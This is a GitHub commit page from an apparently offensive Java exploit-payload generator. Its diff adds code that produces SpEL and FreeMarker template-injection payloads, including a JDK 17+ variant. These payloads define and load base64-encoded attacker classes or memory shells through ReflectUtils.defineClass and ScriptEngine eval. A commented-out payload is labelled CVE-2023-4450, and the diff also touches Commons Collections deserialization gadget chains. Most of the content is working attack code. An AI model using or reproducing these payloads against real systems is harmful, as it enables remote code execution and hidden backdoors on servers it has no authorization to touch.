Skip to content

Commit

Permalink
1. javaClassMakerEnhance Spel script freeMarker
Browse files Browse the repository at this point in the history
2. JDK 17+ support by unsafe :)
  • Loading branch information
Whoopsunix committed May 4, 2024
1 parent 61eaab9 commit bf4ec6c
Show file tree
Hide file tree
Showing 71 changed files with 1,803 additions and 254 deletions.
143 changes: 91 additions & 52 deletions README.md

Large diffs are not rendered by default.

Binary file removed attachments/image-20240424163247305.png
Binary file not shown.
Binary file removed attachments/image-20240425092638935.png
Binary file not shown.
Binary file added attachments/image-20240504120717253.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
10 changes: 10 additions & 0 deletions common/src/main/java/com/ppp/Printer.java
Original file line number Diff line number Diff line change
Expand Up @@ -32,11 +32,21 @@ public static void print(Object msg) {
System.out.flush();
}

/**
* 结果输出
* @param msg
*/
public static void result(Object msg) {
System.out.println(msg);
System.out.flush();
}

/**
* 标题
* @param msg
*/
public static void title(Object msg) {
msg = " " + msg + " ";
if (!isPrintEnabled())
return;
int totalLength = 50;
Expand Down
35 changes: 34 additions & 1 deletion common/src/main/java/com/ppp/utils/PayloadUtils.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,13 @@
* @author Whoopsunix
*/
public class PayloadUtils {
public static String loadByScriptEngine(String b64, String loaderClassName) {
/**
* ScriptEngine
* @param b64
* @param loaderClassName
* @return
*/
public static String script(String b64, String loaderClassName) {
String code = String.format("data=\"%s\";bytes=\"\".getBytes();" +
"try{bytes=java.util.Base64.getDecoder().decode(data);}catch(e){" +
"aClass=java.lang.Class.forName(\"sun.misc.BASE64Decoder\");" +
Expand All @@ -22,4 +28,31 @@ public static String loadByScriptEngine(String b64, String loaderClassName) {
"};", b64, loaderClassName);
return code;
}

public static String spel1(String b64, String loaderClassName) {
return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',new sun.misc.BASE64Decoder().decodeBuffer('%s'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))}", loaderClassName, b64);
}

public static String spel(String b64, String loaderClassName) {
// String spel = String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('%s'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))}", loaderClassName, b64);
// return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(java.util.Base64).getDecoder().decode('%s'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))}", loaderClassName, b64);
return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(org.springframework.util.Base64Utils).decodeFromString('%s'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))}", loaderClassName, b64);
}

public static String spelJDK17(String b64, String loaderClassName) {
// 正常
return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(java.util.Base64).getDecoder().decode('%s'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))}", loaderClassName, b64);

// urlClassLoader
// return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(java.util.Base64).getDecoder().decode('%s'),new java.net.URLClassLoader(new java.net.URL[0], T(java.lang.Thread).currentThread().getContextClassLoader()), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))}", loaderClassName, b64);

// ClassLoader.getSystemClassLoader() 即 ClassLoader$AppClassLoader
// return String.format("{T(org.springframework.cglib.core.ReflectUtils).defineClass('%s',T(java.util.Base64).getDecoder().decode('%s'),T(java.lang.ClassLoader).getSystemClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))}", loaderClassName, b64);
}

public static String spelLoadClass(String loaderClassName){
return String.format("{T(java.lang.Thread).currentThread().getContextClassLoader().loadClass('%s').newInstance()}", loaderClassName);
}


}
2 changes: 1 addition & 1 deletion gadgets/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@
<dependency>
<groupId>com.ppp</groupId>
<artifactId>javaClassBuilder</artifactId>
<version>1.1.0</version>
<version>1.2.0</version>
</dependency>

<!-- gadget dependencies -->
Expand Down
2 changes: 1 addition & 1 deletion gadgets/src/main/java/com/ppp/ObjectPayloadBuilder.java
Original file line number Diff line number Diff line change
Expand Up @@ -99,7 +99,7 @@ public static void save(byte[] bytes, SinksHelper sinksHelper) throws Exception
Printer.blueInfo("Output: " + Arrays.toString(output));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(bytes);
System.out.println(byteArrayOutputStream);
Printer.result(byteArrayOutputStream);
}

// 保存文件
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -403,7 +403,7 @@ public Transformer[] JavaClass(SinksHelper sinksHelper) throws Exception {
// "clazz.newInstance();" +
// "}};", b64, className, loaderClassName);

String code = PayloadUtils.loadByScriptEngine(b64, loaderClassName);
String code = PayloadUtils.script(b64, loaderClassName);

transformers = new Transformer[]{
new ConstantTransformer(ScriptEngineManager.class),
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -403,7 +403,7 @@ public Transformer[] JavaClass(SinksHelper sinksHelper) throws Exception {
// "clazz.newInstance();" +
// "}};", b64, className, loaderClassName);

String code = PayloadUtils.loadByScriptEngine(b64, loaderClassName);
String code = PayloadUtils.script(b64, loaderClassName);

transformers = new Transformer[]{
new ConstantTransformer(ScriptEngineManager.class),
Expand Down
2 changes: 1 addition & 1 deletion javaClassBuilder/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@

<groupId>com.ppp</groupId>
<artifactId>javaClassBuilder</artifactId>
<version>1.1.0</version>
<version>1.2.0</version>
<packaging>jar</packaging>

<name>javaClassBuilder</name>
Expand Down
122 changes: 122 additions & 0 deletions javaClassBuilder/src/main/java/com/ppp/JavaClassAdvanceBuilder.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
package com.ppp;

import com.ppp.annotation.JavaClassEnhance;
import com.ppp.annotation.JavaClassHelperType;
import com.ppp.annotation.JavaClassMakerEnhance;
import com.ppp.utils.PayloadUtils;
import com.ppp.utils.maker.CryptoUtils;

import java.util.HashMap;

/**
* @author Whoopsunix
*/
public class JavaClassAdvanceBuilder {
public static HashMap<String, Object> results = new HashMap<String, Object>() {{
put(JavaClassEnhance.Script.getInfo(), null);
put(JavaClassEnhance.SPEL.getInfo(), null);
put(JavaClassMakerEnhance.JDK17.getInfo(), null);
put(JavaClassEnhance.SPELLoadClass.getInfo(), null);
}};

public static void builder(JavaClassHelper javaClassHelper) throws Exception {
/**
* 创建增强
*/
JavaClassMakerEnhance[] javaClassMakerEnhances = javaClassHelper.getJavaClassMakerEnhances();
for (JavaClassMakerEnhance javaClassMakerEnhance : javaClassMakerEnhances) {
switch (javaClassMakerEnhance) {
case JDK17:
results.put(JavaClassMakerEnhance.JDK17.getInfo(), true);
javaClassHelper.setJavaClassPackageName("org.springframework.expression");
break;
}
}
}

/**
* 增强
*/
public static void result(JavaClassHelper javaClassHelper, byte[] bytes) throws Exception {
JavaClassEnhance[] javaClassEnhances = javaClassHelper.getJavaClassEnhances();
String className = null;
// 内存马
if (javaClassHelper.getJavaClassHelperType().equals(JavaClassHelperType.MemShell)) {
className = javaClassHelper.getLoaderClassName();
} else {
className = javaClassHelper.getCLASSNAME();
}


String freeMakerPayload = null;
for (JavaClassEnhance javaClassEnhance : javaClassEnhances) {
switch (javaClassEnhance) {
case Default:
default:
break;
case Script:
String code = PayloadUtils.script(CryptoUtils.base64encoder(bytes), className);
results.put(JavaClassEnhance.Script.getInfo(), code);
Printer.title(JavaClassEnhance.Script.getInfo());
Printer.result(code);
case SPEL:
String spel = PayloadUtils.spel(CryptoUtils.base64encoder(bytes), className);
results.put(JavaClassEnhance.SPEL.getInfo(), spel);
Printer.title(JavaClassEnhance.SPEL.getInfo());
Printer.result(spel);

if (results.get(JavaClassMakerEnhance.JDK17.getInfo()) != null) {
String spelJDK17 = PayloadUtils.spelJDK17(CryptoUtils.base64encoder(bytes), className);
results.put(JavaClassMakerEnhance.JDK17.getInfo(), spelJDK17);
Printer.title(JavaClassMakerEnhance.JDK17.getInfo());
Printer.result(spelJDK17);
}

String spelLoadClass = PayloadUtils.spelLoadClass(className);
results.put(JavaClassEnhance.SPELLoadClass.getInfo(), spelLoadClass);
Printer.title(JavaClassEnhance.SPELLoadClass.getInfo());
Printer.result(spelLoadClass);


break;
case FreeMarker:
freeMarkerBuilder();

// if (spel2 != null) {
// Printer.title("SPEL java.util.Base64");
// freeMakerPayload = String.format("${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"%s\").getValue()}", spel2);
// Printer.result(freeMakerPayload);
// }


// CVE-2023-4450
// String codec = PayloadUtils.script(CryptoUtils.base64encoder(bytes), className).replaceAll("\"", "\\\\\"");
// String freeMakerPayload = String.format("{\"sql\":\"call${\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"javax.script.ScriptEngineManager\\\").getEngineByName(\\\"js\\\").eval('%s#{1};')}\",\"dbSource\":\"\",\"type\":\"0\"}", codec);

// Printer.print(freeMakerPayload);
}
}


}

public static void freeMarkerBuilder() {
Printer.title(JavaClassEnhance.FreeMarker.getInfo());
for (String key : results.keySet()) {
if (results.get(key) == null) {
continue;
}

Printer.title(key);
if (key.equals(JavaClassMakerEnhance.JDK17.getInfo()) || key.equals(JavaClassEnhance.SPEL.getInfo()) || key.equals(JavaClassEnhance.SPELLoadClass.getInfo())) {
String freeMakerPayload = String.format("${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"%s\").getValue()}", results.get(key));
Printer.result(freeMakerPayload);
}

if (key.equals(JavaClassEnhance.Script.getInfo())) {
String freeMakerPayload = String.format("{\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval('%s')}", results.get(key));
Printer.result(freeMakerPayload);
}
}
}
}
43 changes: 8 additions & 35 deletions javaClassBuilder/src/main/java/com/ppp/JavaClassBuilder.java
Original file line number Diff line number Diff line change
@@ -1,8 +1,7 @@
package com.ppp;

import com.ppp.annotation.JavaClassEnhance;
import com.ppp.annotation.JavaClassHelperType;
import com.ppp.utils.PayloadUtils;
import com.ppp.annotation.JavaClassMakerEnhance;
import com.ppp.utils.Reflections;
import com.ppp.utils.maker.ClassUtils;
import com.ppp.utils.maker.CryptoUtils;
Expand All @@ -22,8 +21,10 @@ public class JavaClassBuilder {
public static byte[] build(JavaClassHelper javaClassHelper) throws Exception {
String javaClassHelperType = javaClassHelper.getJavaClassHelperType();
String javaClassFilePath = javaClassHelper.getJavaClassFilePath();
byte[] bytes = new byte[0];

JavaClassAdvanceBuilder.builder(javaClassHelper);

byte[] bytes = new byte[0];
if (javaClassHelperType.equals(JavaClassHelperType.Custom)) {
try {
Printer.yellowInfo("load JavaClass from file: " + javaClassFilePath);
Expand Down Expand Up @@ -56,39 +57,11 @@ public static byte[] build(JavaClassHelper javaClassHelper) throws Exception {
bytes = (byte[]) Reflections.invokeMethod(builderClass.newInstance(), "build", javaClassHelper);
}

advance(javaClassHelper, bytes);
/**
* 输出增强
*/
JavaClassAdvanceBuilder.result(javaClassHelper, bytes);
return bytes;

}

/**
* 增强
*/
public static void advance(JavaClassHelper javaClassHelper, byte[] bytes) throws Exception {
JavaClassEnhance javaClassEnhance = javaClassHelper.getJavaClassEnhance();
switch (javaClassEnhance) {
case Default:
default:
break;
case FreeMarker:
String codeClassName = null;
// 内存马
if (javaClassHelper.getJavaClassHelperType().equals(JavaClassHelperType.MemShell)) {
codeClassName = javaClassHelper.getLoaderClassName();
} else {
codeClassName = javaClassHelper.getCLASSNAME();
}

// todo
String freeMakerPayload = String.format("{\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval('%s')}", PayloadUtils.loadByScriptEngine(CryptoUtils.base64encoder(bytes), codeClassName));

// CVE-2023-4450
// String codec = PayloadUtils.loadByScriptEngine(CryptoUtils.base64encoder(bytes), codeClassName).replaceAll("\"", "\\\\\"");
// String freeMakerPayload = String.format("{\"sql\":\"call${\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"javax.script.ScriptEngineManager\\\").getEngineByName(\\\"js\\\").eval('%s#{1};')}\",\"dbSource\":\"\",\"type\":\"0\"}", codec);

Printer.print(freeMakerPayload);
}
}


}
Loading

0 comments on commit bf4ec6c

Please sign in to comment.